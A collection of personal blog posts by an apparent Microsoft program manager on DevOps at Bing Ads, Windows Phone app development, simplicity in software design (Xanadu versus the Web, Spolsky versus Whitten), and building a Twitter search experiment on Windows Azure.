Up until a few months ago, the term DevOps was simply another buzzword which filled my Twitter feed that evoked a particular idea but wasn’t really concrete to me. Similar to other buzzwords related to software development such as NoSQL and Agile, it is hard to pin down what the definitive definition of the term is just what it wasn’t. If you aren’t familiar with DevOps, a simple definition is that the goal of DevOps is to address this common problem when building online services

The Big Switch

A couple of months ago, my work group took what many would consider a rather extreme step in eliminating this wall between developers and operations. Specifically, Bing Ads transitioned away from the traditional Microsoft engineering model of having software design engineers (aka developers), software design engineers in test (testers) and service operations (ops) and merged all of these roles into a single engineering role. As it states in the Wikipedia entry for DevOps, the adoption of DevOps was driven by the following trends

  1. Use of agile and other development processes and methodologies
  2. Demand for an increased rate of production releases from application and business unit stakeholders
  3. Wide availability of virtualized and cloud infrastructure from internal and external providers
  4. Increased usage of data center automation and configuration management tools

All of these trends already applied to our organization before we made the big switch to merge the three engineering disciplines into a DevOps role. We’d already embraced the Agile development model complete with two to four week sprints, daily scrums, burn-down charts, and senior program managers playing the role of the product owner (although we use the term scenario owner). Given our market position as the underdog to Google in search and advertising, our business leaders always wants to ship more features, more quickly while maintaining high product quality. In addition, there’s a ton of peer pressure for all of us at Microsoft to leverage internal tools Windows Azure and Autopilot for as much of our cloud services needs as possible instead of rolling our own data centers and hardware configurations.

Technically our organization was already committed to DevOps practices before we made the transition that eliminated roles. However the what the organization realized is that a bigger change to the culture was needed for us to get the most value out of these practices. The challenge we faced is that the organizational structure of separate roles for developers, testers and operations tends to create these walls where one role feels their responsibility is for a certain part of the development cycle and then tosses the results of their efforts down stream to the next set of folks in the delivery pipeline. Developers tended to think their job was to write code and quality was the role of testers. Testers felt their role was to create test frameworks and find bugs then deployment was the role of the operations team. The operations team tended to think their role was keeping the live site running without the ability to significantly change how the product was built. No matter how open and collaborative the people are on your team, these strictly defined roles create these walls. My favorite analogy for this situation is like comparing two families who are on a diet trying to lose weight and one of them has fruit, veggies and healthy snacks in the pantry while the other has pop tarts, potato chips, chocolate and ice cream in theirs. No matter how much will power the latter family has, they are more likely to “cheat” on their diet than the first family because they have created an environment that makes it harder for them to do the right thing.

Benefits

The benefits of fully embracing DevOps are fairly self-evident so I won’t spend time on discussing the obvious benefits that have been beaten to death elsewhere. I will talk about the benefits I’ve seen in our specific case of merging the 3 previous engineering roles into a single one. The most significant change is the cultural change towards how we view automation of every step related to deployment and monitoring. It turns out that there is a big difference when approaching a problem from the perspective of taking away people’s jobs (i.e. automating what the operations team does) versus making your team more effective (i.e. reducing the amount of time the engineering team spends on operational tasks that can be automated thus giving us more time to work on features that move the business forward). This has probably the biggest surprise, although obvious in hindsight, as well as the biggest benefit.

We’ve also begun to see faster time to resolve issues from build breaks to features failing in production due to fact that the on-call person (we call them Directly Responsible Individuals or DRIs) is now a full member of the engineering team who is expected to be capable of debugging and fixing issues encountered as part of being on-call. This is an improvement from prior models where the operations team were the primary folks on-call and would tend to pull in the development team as a last resort outside of business hours.  

As a program manager (or product manager if you’re a Silicon Valley company), I find it has made my job easier since I have fewer people to talk to because we’ve consolidated engineering managers. No longer having to talk to an development manager separately from the manager of systems engineers separately from a test manager has made communication far more efficient for me.

Challenges

There are a number of risks with any organization taking the steps that we have at Bing Ads. The biggest risk is definitely attrition especially at a company like Microsoft where these well-defined roles have been a part of the culture for decades and are still part & parcel of how the majority of the company does business. A number of people may feel that this is a bait and switch on their career plans with the new job definitions not aligning with how they saw their roles evolving over time. Others may not mind that as much but may simply feel that their skills may not be as valuable in the new world especially as they now need to learn a set of new skills. I’ve had one simple argument when I’ve met people with this mindset. The first is that DevOps is here to stay. The industry trends that have had more and more companies from Facebook and Amazon to Etsy and Netflix blurring the lines between developers, test engineers and operations staff will not go away. Companies aren’t going to want to start shipping less frequently nor will they want to bring back manual deployment processes instead of automating as much as possible. The skills you learn in a DevOps culture will make you more broadly valuable wherever they find their next role whether it is a traditional specialized engineering structure or in a DevOps based organization.

Other places where we’re still figuring things out are best practices around ownership of testing. We currently try to follow a “you build it, you test it, you deploy it” culture as much as possible although allowing any dev to deploy code has turned out to be bit more challenging than we expected since we had to ensure we do not run afoul of the structures we had in place to stay compliant with various regulations. Testing your own code is one of topics where many in the industry have come out against as being generally a bad idea. I remember arguments from my college classes from software engineering professors about the blind spots developers have about their software requiring the need for dedicated teams to do testing. We do have mitigations in place such as test plan reviews and code reviews to ensure there are alternate pairs of eyes looking at the problem space not just the developer who created the functionality. There is also the school of thought that since the person who wrote the code will likely be the person woken up in the middle of the night if it goes haywire at an inopportune moment, there is a sense of self preservation that will cause more diligence to be applied to the problem than was the case in the previous eras of boxed software which is when most of the anti-developer testing arguments were made.

Further Reading

 

Note Now Playing: EminemRap God Note


 

Towards the end of last year, I realized I was about to bump up against the ”use it or lose it” vacation policy at work which basically means I either had to take about two weeks of paid vacation or forfeit the vacation. Since I hadn’t planned the time off I immediately became worried about what to do with all that idle time especially since if left to my own devices I’d play 80 straight hours of Modern Warfare 3 without pause.

To make sure the time was productively used I decided to write a mobile app as a learning exercise about the world of mobile development since I’ve read so much about it and part of my day job is building APIs for developers of mobile apps.  I ended up enjoying the experience so much I added an extra week of vacation and wrote two apps for Windows Phone. I’d originally planned to write one app for Windows Phone then port it to iOS or Android but gave up on that due to time constraints after some investigation of both.

I learned a bunch about mobile development from this exercise and a few friends have asked me to share of my thoughts on mobile development in general and building for Windows Phone using Microsoft platforms in particular. If you are already a mobile developer then some of this is old hat to you but I did find a bunch of what I learned to be counterintuitive and fairly eye opening so you might too.

Thoughts on Building Mobile Apps on Any Platform

This section is filled with items I believe are generally applicable if building iOS, Android or Windows Phone apps. These are mostly things I discovered as part of my original plan to write one app for all three platforms.

  1. A consistent hardware ecosystem is a force multiplier

    After realizing the only options for doing iPhone development on Windows was the Dragon Fire SDK which only supports games, I focused on learning as much as I could about Android development options. The Xamarin guys have MonoTouch which sounded very appealing to me as a way to leverage C# skills across Android and Windows Phone until I saw the $400 price tag. :)

    One of the things I noticed upon downloading the Android SDK as compared to installing the Windows Phone SDK is that the Android one came with a bunch of emulators and SDKs for various specific devices. As I started development on my apps, there were many times I was thankful for the consistent set of hardware specifications for Windows Phone. Knowing that the resolution was always going to be WVGA and so if something looked good in the emulator then it would look good on my device and those of my beta testers not only gave piece of mind but made UX development a breeze.

    Comparing this to an ecosystem like Android where the diversity of hardware devices with varying screen resolutions have made developers effectively throw up their hands as in this article quoted by Jeffrey Zeldman

    If … you have built your mobile site using fixed widths (believing that you’ve designed to suit the most ‘popular’ screen size), or are planning to serve specific sites to specific devices based on detection of screen size, Android’s settings should serve to reconfirm how counterproductive a practice this can be. Designing to fixed screen sizes is in fact never a good idea…there is just too much variation, even amongst ‘popular’ devices. Alternatively, attempting to track, calculate, and adjust layout dimensions dynamically to suit user-configured settings or serendipitous conditions is just asking for trouble.

    Basically, you’re just screwed if you think you can build a UI that will work on all Android devices. This is clearly not the case if you target Windows Phone or iOS development. This information combined with my experiences building for Windows Phone convinced me that it is more likely I’ll buy a Mac and start iOS development than it is that I’d ever do Android development.

  2. No-name Web Hosting vs. name brands like Amazon Web Services and Windows Azure

    One of my apps had a web service requirement and I initially spent some time investigating both Windows Azure and Amazon Web Services. Since this was a vacation side project I didn’t want expenses to get out of hand so I was fairly price sensitive. Once I discovered AWS charged less for Linux servers I spent a day or two getting my Linux chops up to speed given I hadn’t used it much since my the early 2000s. This is where I found out about yum and discovered the interesting paradox that discovering and installing software on modern Linux distros is simultaneously much easier and much harder than doing so on Windows 7. Anyway, that’s a discussion for another day.

    I soon realized I had been penny wise and pound foolish when focusing on the cost of Linux hosting when it turns out what breaks the bank is database hosting. Amazon charges about $0.11 an hour ($80 a month) for RDS hosting at the low end. Windows Azure seemed to charge around the same ballpark when I looked two months ago but it seems they’ve revamped their pricing site since I did my investigation.

    Once I realized database hosting would be the big deciding factor in cost. It made it easier for me to stick with the familiar and go with instead of as a LAMP  server stack. If I had stuck with LAMP , I could have gone with a provider like Blue Host to get the entire web platform + database stack for less than $10 with perks like free credits for Google ads thrown in. With the WISC stack, hosters like Discount ASP and Webhost 4 Life charge in the ballpark of $15 which is about $10 if you swap out SQL Server for MySQL.

    These prices were more my speed. I was quite surprised that even though all the blogs talk about AWS and Azure, it made the most sense for my bootstrapped apps to start with a vanilla web host and pay up to ten times less for service than using one of the name brand cloud computing services. Paying almost ~$100 a month for services with elastic scaling properties may make sense if my apps stick around and become super successful but not at the start.

    Another nice side effect of going with a web hosting provider is the reduced complexity from going with a cloud services provider. Anyone who's gone through the AWS getting started guides after coming from vanilla web hosting knows what I mean.

  3. Facebook advertising beats search ads for multiple app categories

    As mentioned above, one of the perks of some of the vanilla hosting providers is that they throw in free credits for ads on Google AdSense/Adwords and Facebook ads as part of the bundle. I got to experiment with buying ads on both platforms and I came away very impressed with what Facebook has built as an advertising platform.

    I remember reading a few years ago that MySpace had taught us social networks are bad for advertisers. Things are very different in today’s world. With search ads, I can choose to show ads alongside results when people search for a term that is relevant to my app. With Facebook ads, I get to narrowly target demographics based on detailed profile attributes such as Georgia Tech alumni living in New York who have expressed an interest in DC or Marvel comics. The latter seems absurd at first until you think about an app like Instagram.

    No one is searching for "best photo sharing app for the iphone" on Google and even if you are one of the few people who has, there aren’t a lot of you. On the other hand, at launch the creators of Instagram could go to Facebook and say we'd like to show ads to people who have liked or use an and who also have shown an affiliation for photo sharing apps or sites like Flickr, Camera+, etc then craft specific pitches for those demographics. I don’t know about you but I know which sounds like it would be more effective and relevant.

    This also reminded me that I'd actually clicked on more ads on Facebook than I've ever clicked on search ads.

  4. Lot's of unfilled niches still exist

    I remember being in college back in the day, flipping through my copy of Yahoo! Internet Life and thinking that we were oversaturated with websites and all the good ideas were already taken. This was before YouTube, Flickr, SkyDrive, Facebook or Twitter. Silly me. 

    The same can be said about mobile apps today. I hear a lot about there being 500,000 apps in the Apple app store and the same number being in Android Market. To some this may seem overwhelming but there are clearly still niches that are massively underserved on those platforms and especially on Windows Phone which just hit 50,000 apps.

    There are a lot of big and small problems in people's lives that can be addressed by bringing the power of the web to the devices in their pockets in a tailored way. The one thing I was most surprised by is how many apps haven't been written that you'd expect to exist just from extrapolating what we have on the Web and the offline world today. I don't just mean geeky things like a non-propeller head way to share bookmarks from my desktop to my phone and vice versa without emailing myself but instead applications that would enrich the lives of millions of regular people out there that they'd be gladly willing to pay $1 for (less than the price of most brands of bubble gum these days).

    If you are a developer, don't be intimidated by the size of the market nor be attracted to the stories of the folks who've won the lottery by gambling on being in the right place at the right time with the right gimmick (fart apps, sex position guides and yet another photo sharing app). There are a lot of problems that can be solved or pleasant ways to pass the time on a mobile device that haven’t yet been built. Look around at your own life and talk to your non-technical friends about their days. There is lots of inspiration out there if you just look for it.

  5. Look for Platforms that Favor User Experience over Developer Experience

    One of the topics I’ve wanted to write about in this blog is how my generation of software developers who came of age with the writings of Richard Stallman and Eric Raymond’s The Cathedral and the Bazaar with its focus on building software with a focus on making the developers who use the software happy collides with the philosophy of software developers who have come of age in the era of Steve Jobs and what Dave Winer has called The Un-Internet where focusing on providing a controlled experience which is smoother for end users leads to developers being treated as second fiddle. 

    As a developer, having to submit my app to some app store to get it certified when I could publish on the web as soon as I was done checking in the code to my local github repository is something I chafe against. When working on my Windows Phone apps, I submitted one to be certified and found prominent typos a few hours later. However there was nothing I could do but wait for five business days for my app to be approved after which I could submit the updated version to be certified which would take another week in calendar days. Or so I thought. 

    My initial app submission was rejected for failing a test case around proper handling of lack of network connectivity. I had cut some corners in my testing when it came to testing network availability support once I discovered NetworkInterface.GetIsNetworkAvailable() always returns true in the emulator which meant I had to actually test that process on my phone. I never got around to it by telling myself no one actually expects a network connected app to work if they don’t have connectivity.

    The Windows Phone marketplace rejected my app because it turns out it crashes if you lose network connectivity. I was actually pretty impressed that someone at Microsoft is tasked with making sure any app a user installs from the store doesn't crash for common edge cases. Then I thought about the fact that my wife, my 3 year old son, and my non-technical friends all use mobile apps and it is great that this level of base set of quality expectations are being built into the platform. Now when I think back to Joe Hewitt famously quitting the Apple App store and compare it to the scam of the week culture that plagues the Android marketplace, I know which model I prefer as a user and a developer. It’s the respect for the end user experience I see coming out of Cupertino and Redmond.

    This respect for end users ends up working for developers which is why there really is no surprise that iOS devs make 6 time smore than their Android counterparts because users are more likely to spend money on apps on iOS.

Thoughts on Microsoft-Specific Development

In addition to the general thoughts there were some things specific to either Windows Phone or WISC development I thought were worth sharing as well. Most of these were things I found on the extremely excellent Stack Overflow, a site which cannot be praised enough.

  1. Free developer tools ecosystem around Microsoft technology is mature and surprisingly awesome

    As a .NET developer I’ve been socialized into thinking that Microsoft tools are the realm of paying an arm and a leg for tools while people building on Open Source tools get great tools for free. When I was thinking about building my apps on Linux I actually got started using Python for a web crawler that was intended to be part of my app as well as for my web services. When I was looking at Python I played around with web.py and wrote the first version of my crawler using Beautiful Soup.

    As I moved on the .NET I worried I’d be stuck for such excellent free tooling but that was not the case. I found similar and in some cases better functionality for what I was looking for in Json.NET and the HTML Agility Pack. Besides a surprising amount of high quality, free libraries for .NET development, it was the free tools for working with SQL Server that sent me over the top. Once I grabbed SQL Complete, an autocomplete/Intellisense tool for SQL Server, I felt my development life was complete. Then I found ELMAH. Fatality…I’m dead and in developer heaven.

  2. Building RESTful web services that emit JSON wasn't an expected scenario from Microsoft dev tools teams?

    As part of my day job, I'm responsible for Live Connect which among other things provides a set of RESTful JSON-based APIs for accessing data in SkyDrive, Hotmail and Windows Live Messenger. So it isn't surprising that when I wanted to build a web service for one of my side projects I'd want to do the same. This is where things broke down.

    The last time I looked at web services development on the WISC the way to build web services was to use Windows Communication Foundation (WCF). So I decided to take a look at that and found out that the product doesn’t really support JSON-based web services out of the box but I could grab something called the WCF Web API off of CodePlex. Given the project seemed less mature than the others I’d gotten off of CodePlex I decided to look at ASP.NET and see what I could get there since it needs to enable JSON-based REST APIs as part of its much touted JQuery support. When I got to the ASP.NET getting started page, I was greeted with the statement that ASP.NET enables building 3 patterns of websites and I should choose my install based on what I wanted. Given that I didn't want to build an actual website not a web service I didn't pick any of them

    Since I was short on time (after all, this was my vacation) I went back to what I was familiar with and used ASP.NET web services with HTTP GET & POST enabled. I’m not sure what the takeaway is here since I clearly built my solution using a hacky mechanism and not a recommended approach yet it is surprising to me that what seems like such a mainline scenario isn’t supported in a clear out-of-the-box manner by Microsoft’s dev tools.

  3. Embrace the Back Button on Windows Phone

    One of the things I struggled with the most as part of Windows Phone development was dealing with the application lifecycle. The problem is that at any point the user can jump out of your app and the operating system will put your app in either a dormant state where data is still stored in memory or tombstone your app in which case it is killed and state your app cares about is preserved.

    One of the ways I eventually learned to thing about this the right way was to aggressively use the back button while testing my app. This led to finding all sorts of interesting problems and solutions such as how to deal with a login screen when the user clicks back and that a lot of logic I thought should be in the constructor of a page really should be in the OnNavigatedTo method (and don’t forget to de-register some of those event handlers in your OnNavigatedFrom event handler).

I could probably write more on this but this post has gotten longer than I planned and I need to take my son to daycare & get ready for work. I’ll try to be a more diligent blogger this year depending on whether the above doesn’t make too many people unhappy.

Happy New Year.

Note Now Playing: Kanye West - Devil In A New Dress (featuring Rick Ross)Note


 

Categories: Programming | Web Development

Yesterday I gave a talk about how Metro style apps and websites can take advantage of the fact Single Sign On (SSO) with Windows Live ID in Windows 8, announced the availability of the Live SDK for Windows Developer Preview and Windows Phone and demoed some of the upcoming Windows Metro style apps that are built on the same platform. You can watch the talk embedded below and you can go here to download the video in various formats or download the slides.

Note Now Playing: V.I.C. - Get Silly Note


 

I’m currently at the Microsoft BUILD conference where I’m slated to talk about some of the work my team and others at Microsoft have done in making it easy for Metro-style apps to leverage Live services like Windows Live ID, SkyDrive, Hotmail, and Windows Live Messenger. I’ve been pretty busy at work as regular readers of my blog can tell given my last post was in July. The past few months have been exhilaratingly fun and crazy hectic as well. It’s great to finally be able to share some of the work we’ve been doing with the world.

If you’re interested in learning more, I recommend visiting http://dev.live.com which contains links to the Live SDK and talks about a number of key developer concepts that were introduced in the Windows Developer Preview.

If you’re at the conference, I’d recommend attending my talk and some of the other talks listed below

Power your app with Live services
Windows 8 enables users to log into any device with a single Microsoft account and continuously interact with your app on all of their devices. Your customers will expect the ability to bring their documents, photos, videos, and contacts with them as they move between their devices. Come see how you can enable great on-the-go experiences by integrating Live services into your app. You’ll learn how to take advantage of single sign on using a Microsoft account instead of creating your own authentication infrastructure. You’ll also see how to use the SkyDrive service for free cloud-based storage of your customers’ photos, videos, and documents. We’ll dive into the details of the Live SDK and show how to use Visual Studio to easily enable these experiences

The complete developer's guide to the SkyDrive API
More and more users are becoming familiar with the concept of "the Cloud." More than ever, users are storing their data in the Cloud. SkyDrive is one of the world's leading cloud storage and document collaboration services. Learn how you can easily allow your users to read and write documents, photos, and other files from/to their SkyDrive via simple REST APIs

Create experiences that span devices
Your customers will expect your app to deliver a continuous experience even as they switch between apps and move between their devices. Come learn how to ensure your customers never lose their place in your app even when it is moved to the background or accessed on a new device. You will also discover how to enable customers to personalize your app with settings and ensure those settings flow automatically to all of their devices. We will show you how you can enable this continuous, cloud-powered experience with only a few lines of code.

If you missed the BUILD keynote yesterday and want a quick overview of what was released, the 5 minute video below captures the highlights of the keynote

Note Now Playing: Jay-Z and Kanye West - Who Gon Stop Me? Note


 

Last week Joel Spolsky wrote a blog post entitled The Duct Tape Programmer where he praises developers who favor simple programming practices to complex ones. This blog post strongly resonated with me and made me recall some related thoughts on complexity and solving problems in software projects. Some key excerpts from his which I'll use as a jumping off point are below

Jamie Zawinski is what I would call a duct-tape programmer. And I say that with a great deal of respect. He is the kind of programmer who is hard at work building the future, and making useful things so that people can do stuff.
...
Duct tape programmers are pragmatic. Zawinski popularized Richard Gabriel’s precept of
Worse is Better. A 50%-good solution that people actually have solves more problems and survives longer than a 99% solution that nobody has because it’s in your lab where you’re endlessly polishing the damn thing. Shipping is a feature. A really important feature. Your product must have it.

One principle duct tape programmers understand well is that any kind of coding technique that’s even slightly complicated is going to doom your project. Duct tape programmers tend to avoid C++, templates, multiple inheritance, multithreading, COM, CORBA, and a host of other technologies that are all totally reasonable, when you think long and hard about them, but are, honestly, just a little bit too hard for the human brain.

The urge the reduce the complexity of the tools used to solve software problems is one that every software developer should share. However even more important is reducing the complexity of the actual solutions that are delivered to your customers at the end of the day. End users can't tell if you used complicated C++ techniques like template metaprogramming and mixins to build the application. They can tell when your application fails to solve their actual problems in a straightforward way or is so late to ship due to project delays that they lose interest in waiting for you to solve their problems.

There are many famous and everyday examples of this culture of complexity in software projects which are eventually trumped by solutions that solve 80% of the problem in a simple way. My favorite example is contrasting the World Wide Web invented by Tim Berners-Lee with Project Xanadu as envisioned by Ted Nelson.  Today the WWW is used by over a billion people to enrich their lives in myriad ways on a daily basis and has created hundreds of billions dollars in value by minting an entire new industry. Project Xanadu is a sad footnote spoken about in hushed tones by fans of hypertext who bewail the success of the Web and how it has forced us to settle for less (i.e. Worse Is Better).

If you aren't familiar with Project Xanadu you can think of it as a networked system of hyperlinked documents and media just like the WWW which had to satisfy the following seventeen rules

    1. Every Xanadu server is uniquely and securely identified.
    2. Every Xanadu server can be operated independently or in a network.
    3. Every user is uniquely and securely identified.
    4. Every user can search, retrieve, create and store documents.
    5. Every document can consist of any number of parts each of which may be of any data type.
    6. Every document can contain links of any type including virtual copies ("transclusions") to any other document in the system accessible to its owner.
    7. Links are visible and can be followed from all endpoints.
    8. Permission to link to a document is explicitly granted by the act of publication.
    9. Every document can contain a royalty mechanism at any desired degree of granularity to ensure payment on any portion accessed, including virtual copies ("transclusions") of all or part of the document.
    10. Every document is uniquely and securely identified.
    11. Every document can have secure access controls.
    12. Every document can be rapidly searched, stored and retrieved without user knowledge of where it is physically stored.
    13. Every document is automatically moved to physical storage appropriate to its frequency of access from any given location.
    14. Every document is automatically stored redundantly to maintain availability even in case of a disaster.
    15. Every Xanadu service provider can charge their users at any rate they choose for the storage, retrieval and publishing of documents.
    16. Every transaction is secure and auditable only by the parties to that transaction.
    17. The Xanadu client-server communication protocol is an openly published standard. Third-party software development and integration is encouraged.

Reading this list is like going through a list of places where World Wide Web fails. Rule #14 which implies every document on the network is redundantly backed up in disparate locations so they can always be is something the WWW doesn't do today which is why we have broken links and 404s all the time. Rule #9 implies that not only is copyright respected and tracked throughout the system but there is even a micropayment platform built in. All the discussions on micropayments saving newspapers would be moot if Project Xanadu ruled the world since it would have existed from day one. Rule #16 on transactions being secure and auditable sounds like Nirvana in today's world of botnets, malware and phishing scams which plague the Web.

Yet despite the fact that the forty year old Project Xanadu is a more compelling vision than were we are today it failed and Tim Berners-Lee's World Wide Web succeeded. In practical terms, Project Xanadu was trying to solve too many complex problems in a v1 product. In contrast, Tim Berners-Lee focused on the most valuable problems to solve for end users which was sharing documents and media with anyone on the Internet and punted on a bunch of the hard problems that would require a more controlled and tightly coupled network as well as a ton of more code. Tim Berners-Lee solved less than half the problems Project Xanadu set out to solve but has changed the world immeasurably for billions of people by providing simple solutions to complex problems and running away from trying to create complex solutions to complex problems.

The bottom line is that a lot of the time it's OK to create a solution that solves 80% of the problem. Always remember that shipping is a feature.

Note Now Playing: Drake, Kanye West, Lil Wayne & Eminem - Forever Note


 

Categories: Programming | Ramblings

…just different requirements and constraints.

The top story on programming.reddit this morning is an example of how differently people can view the same incident and how it relates to making design decisions when trying to ship a software project.

Almost a decade ago, Joel Spolsky wrote an article entitled Two Stories which contrasted his time working at Microsoft with his time working at Juno (a popular ISP from back in the day). Below is the relevant excerpt from Joel's article which talks about his time developing the macro language that was to be used by Excel.

My first assignment at my first job was working at Microsoft, where I was told to come up with a new macro language strategy for Excel. Pretty soon, I had the first draft of the "Excel Basic" spec (which later evolved into Visual Basic for Applications, but that's another story). Somehow, this mysterious group of people at Microsoft called the "Application Architecture" group got wind of my spec, which must have concerned them, because for some reason they thought that they were in charge of things like macro language strategies, and they asked to see my spec.

So I proceeded to ignore them as diplomatically as possible.

This seemed to piss off a guy named Greg Whitten who headed up the App Architecture group. Now, Greg was something like Microsoft employee number 6. He had been around forever; nobody could quite point to anything he had done but apparently he had lunch with Bill Gates a lot and GW-BASIC was named after him. Greg called a BIG MEETING and proceeded to complain about how the Excel team (meaning me) was screwing up the macro strategy. We pressured him to come up with some specific reasons but his arguments just weren't convincing. I thought it was nice that here I was, a new hire pipsqueak right out of college, arguing with employee number 6 and apparently winning the argument. (Can you imagine that happening at a Grey Flannel Suit company?) My programming team, headed by Ben Waldman (now a VP at Microsoft) backed me up completely, which was all that really mattered, because the programming team wrote the code and thus had the final say on how things got done.

Five years later, John Foust tracked down Greg Whitten to get his take on the same incident and then republished Greg's private response on the classic computing mailing list. The relevant excerpt from Greg Whitten's mail is below

On the Joel Spolsky subject he was a basically ignorant junior employee who left Microsoft after a short number of years. His short sighted decisions to take the VB macro language in Excel in its own directions caused 6 other major applications that were doing BASIC macro languages to diverge and not be able to share any macro programs between the applications. He made other similarly stupid decisions like creating a custom programming interface for BASIC in Excel instead of sharing a common interface as strongly recommended. The applications group spent 30 man-years integrating custom interfaces for each application with the Office 95 applications. In Office 98 they tossed it all and went back to my original suggestion which only took 1.5 man-years to develop and provided better commonality and learning between the applications.

It is instructive to compare both approaches to solving the same problem. Joel seems to be a believer in the philosophy that shipping is a feature which means you execute on your project by limiting dependencies while making sure you are building specific solutions to customers problems. Greg was big picture guy who wanted to ensure that all of the various BASIC macro languages being developed by different groups at Microsoft were compatible and could developers could easily port applications between them. They both have a point, on the one hand the designer of the Excel macro language shouldn't have to be limited by the constraints of building macros for Outlook but on the other hand anyone building common tooling or infrastructure for macros in Office would prefer that there weren't significant differences in the various macro languages in the product suite. So you end up with two smart people with contradictory goals and it is thus unsurprising that each thinks the other is ignorant.

The unfortunate thing about this entire incident is that it would have been a great learning experience for Joel if he had stayed on in Excel to see some of the consequences of his design decisions and then be in a position to consider whether he'd made the right tradeoffs in the first place. Of course, this is pretty commonplace when it comes to large software platforms where people can spend 3 – 5 years working on a single release which in combination with an average job tenure of 4 years in the U.S. (probably less in fast paced the software industry) means that many people never learn from their mistakes or improve their skills over time.

~~

As a program manager at Microsoft, I'm often in the same predicament as Joel was when he started working at Excel. Although the same challenge exists at every big software company, Microsoft is unique in its breadth of software offerings which means that almost every technology choice or design decision you make is an opportunity to pay some sort of strategy tax. The key thing I always keep in mind is that shipping is a feature and building software that delights our customers should have the highest priority. Being able to articulate how your choices reflect both of these points during every phase of the project is part of being a good program manager. Joel was able to do that, which is why he got to ship his project how he saw fit.

Note Now Playing: Korn - Freak On A Leash Note


 

Categories: Programming

I spent the last few days hacking on a side project that I thought some of my readers might find interesting; you can find it at http://hottieornottie.cloudapp.net 

I had several goals when embarking on this project

After a few days of hacking I'm glad to say I've achieved every goal I wanted to get out of this experiment. I'd like to thank Matt Cutts for the initial idea on how to implement this and Kevin Mark's for saving me from having to write a Twitter crawler by reminding me of Google's Social Graph API.

What it does and how it works

The search experiment provides four kinds of searches

  1. The search functionality with no options checked is exactly the same as search.twitter.com

  2. Checking "Search Near Me" finds all tweets posted by people who are within 30 miles of your geographical location (requires JavaScript). Your geographical location is determined from your IP address while the geographical location of the tweets is determined from the location fields of the Twitter profiles of the authors. Nice way to find out what people in your area are thinking about local news.

  3. Checking 'Sort By Follower Count' is my attempt to jump on the authority based Twitter search bandwagon. I don't think it's very useful but it was easy to code. Follower counts are obtained via the Google Social Graph API.

  4. Checking 'Limit to People I Follow' requires you to also specify your user name and then all search results are filtered to only return results from people you follow (requires JavaScript). This feature only works for a small subset of Twitter users that have been encountered by a crawler I wrote. The application is crawling Twitter friend lists as you read this and anyone I follow should already have their friend list crawled. If it doesn't work for you, check back in a few days. It's been slow going since Twitter puts a 100 request per hour cap on crawlers.

Developing on Windows Azure: Likes

After building a small scale application with Windows Azure, there are definitely a number of things I like about the experience. The number one thing I loved was the integrated deployment story with Visual Studio. I can build a regular ASP.NET application on my local machine that either used cloud or local storage resources and all it takes is a few mouse clicks to go from my code running on my machine to my code running on computers in Microsoft's data center either in a staging environment or in production. The fact that the data access APIs are all RESTful makes it super easy to go from pointing the app running on your machine to cloud storage or local storage on your machine simply by changing some base URIs in a configuration file. 

Another aspect of Windows Azure that I thought was great is how easy it is to create background processing tasks. It was very straightforward to create a Web crawler that crawled Twitter to build a copy of its social graph by simply adding a "Worker Role" to my project. I've criticized Google App Engine in the past for not supporting the ability to create background tasks so it is nice to see this feature in Microsoft's platform as a service offering. 

Developing on Windows Azure: Dislikes

The majority of my negative experiences were related to teething problems I'd associate with this being a technology preview that still needs polishing. I hit a rather frustrating bug where half the time I tried to run my application it would end up hanging and I'd have to try again after several minutes. There were also issues with the Visual Studio integration where removing or renaming parts of the project from the Visual Studio UI didn't modify all of the related configuration files so the app was in a broken state until I mended it by hand. Documentation was another place where there is still a lot of work to do. My favorite head scratching moment is that there is a x-ms-Metadata-ApproximateMessagesCount HTTP header which returns the approximate number of messages in the a queue. It is unclear whether "approximate" here refers to the fact that messages in the queue have an "invisibility period" between when they are popped from the queue but before they are deleted where they can't be accessed or whether it refers to some other heuristic that determines the size of the queue. Then there's the fact that the documentation says you need to have a partition key and row key for each entry you place in a table but doesn't really explain why or how you are supposed to pick these keys. In fact, the documentation currently makes it seem like the notion of partition keys is an example of unnecessarily surfacing implementation details of Windows Azure to developers in a way that leads to confusion and cargo cult programming.

One missing piece is the lack of good tools for debugging your application once it is running in the cloud. When it is running on your local machine there is a nice viewer to keep an eye on the log output from your application but once it is in the cloud, your only option is to have the logs dropped to some directory in the cloud and then run one of the code samples to access those logs from your local machine. Since this is a technology preview, it is expected that the tooling shouldn't be all there but it is a cumbersome process as it exists today. Besides accessing your debug output there is also seeing what data your application is actually creating, retrieving and otherwise manipulating in storage. You can use SQL Server Management Studio to look at your data in Table Storage on your local machine but there isn't a similar experience in the cloud. Neither blob nor queue storage have any off-the-shelf tools for inspecting their contents locally or in the cloud so developers have to write custom code by hand. Perhaps this is somewhere the developer community can step up with some Open Source tools (e.g. David Aiken's Windows Azure Online Log Reader) or perhaps some commercial vendors will do step in as they have in the case of Amazon's Web Services (e.g. RightScale)?

Outside of the polish issues and bugs, there was only one aspect of Windows Azure development I disliked; the structured data/relational schema development process. Windows Azure has a Table Storage API which provides a RESTful interface to a row-based data store similar in concept to Google's BigTable. Trying to program locally against this API is rather convoluted and requires writing your classes first then running some object<->relational translation tools on your assemblies. This is probably a consequence of not being a big believer the use of ORM tools so having to first write objects before I can access my DB seems backwards to me. This gripe may just be a matter of preference since a lot of folks who use Rails, Django and various other ORM technologies seem fine with having primarily an object facade over their databases.  

Update: Early on in my testing I got a The requested operation is not implemented on the specified resource error when trying out a batch query and incorrectly concluded that the Table Storage API did not support complex OR queries. It turns out that the problem was that I was doing a $filter query using the tolower function. Once I took out the tolower() it was straightforward to construct queries with a bunch of OR clauses so I could request for multiple row keys at once.

I'll file this under "documentation issues" since there is a list of unsupported LINQ query operators and unsupported LINQ comparison operators but not a list of unsupported query expression functions in the Table Storage API documentation. Sorry about any confusion and thanks to Jamie Thomson for asking about this so I could clarify.

Besides the ORM issue, I felt that I was missing some storage capabilities when trying to build my application. One of the features I started building before going with the Google Social Graph API was a quick way to provide the follower counts for a batch of users. For example, I'd get 100 search results from the Twitter API and would then need to look up the follower counts of each user that showed up in the results for use in sorting. However there was no straightforward way to implement this lookup service in Windows Azure. Traditionally, I'd have used one of the following options

  1. Create a table of {user_id, follower_count} in a SQL database and then use batches of ugly select statements like SELECT FROM follower_tbl WHERE id=xxxx OR id=yyyy OR id=zzzz OR ….
  2. Create tuples of {user_id, follower_count} in an in-memory hash table like memcached and then do a bunch of fast hash table lookups to get the follower counts from each user

